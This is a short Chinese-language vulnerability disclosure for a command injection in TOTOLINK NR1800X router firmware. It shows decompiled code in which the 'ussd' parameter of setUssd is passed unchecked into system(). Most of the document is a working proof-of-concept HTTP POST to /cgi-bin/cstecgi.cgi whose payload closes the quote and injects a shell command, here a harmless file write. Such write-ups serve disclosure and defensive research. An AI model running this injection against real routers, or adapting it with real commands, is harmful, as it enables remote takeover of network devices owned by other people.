

命令注入

品牌:totoLink

产品型号:NR1800X

版本: V9.1.0u.6681_B20230703

由于没有真实设备所以我将二进制文件进行了patch，一般情况通过cookie之后才可以进行栈溢出，这里我们需要模拟对应的参数，这里厂商对setUssd进行了strip的动作

这里没有对用户传参进行校验直接拼接到system中，但是这里要注意在%s前面有双引号，我们构造payload时需要注意符合语法

```
_BYTE v17[128]; // [sp+20h] [-518h] BYREF
_BYTE v18[1024]; // [sp+A0h] [-498h] BYREF
_BYTE v19[52]; // [sp+4A0h] [-98h] BYREF
int v20; // [sp+4D4h] [-64h]

memset(v17, 0, sizeof(v17));
memset(v18, 0, sizeof(v18));
Object = cJSON_CreateObject();
Var = websGetVar(a1, "ussd", (int)&byte_43F798);
snprintf(v17, 127, "cli_atc AT+CUUSD=1,\"%s\" > /tmp/.ussd_file", Var);
system(v17);
if ( stat("/tmp/.ussd_file", v19) == -1 )
{
```

poc

```
POST /cgi-bin/cstecgi.cgi HTTP/1.1
Host: 192.168.0.2
Content-Length: 69
Accept: application/json, text/javascript, */*; q=0.01
X-Requested-With: XMLHttpRequest
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/120.0.6099.71 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://192.168.0.2
Referer: http://192.168.0.2/login.html
Accept-Encoding: gzip, deflate, br
Accept-Language: en-US,en;q=0.9
Connection: close

{"topicurl":"setUssd",
"ussd":"\"";echo USSD_RCE>/tmp/usd.txt;#"
}
```

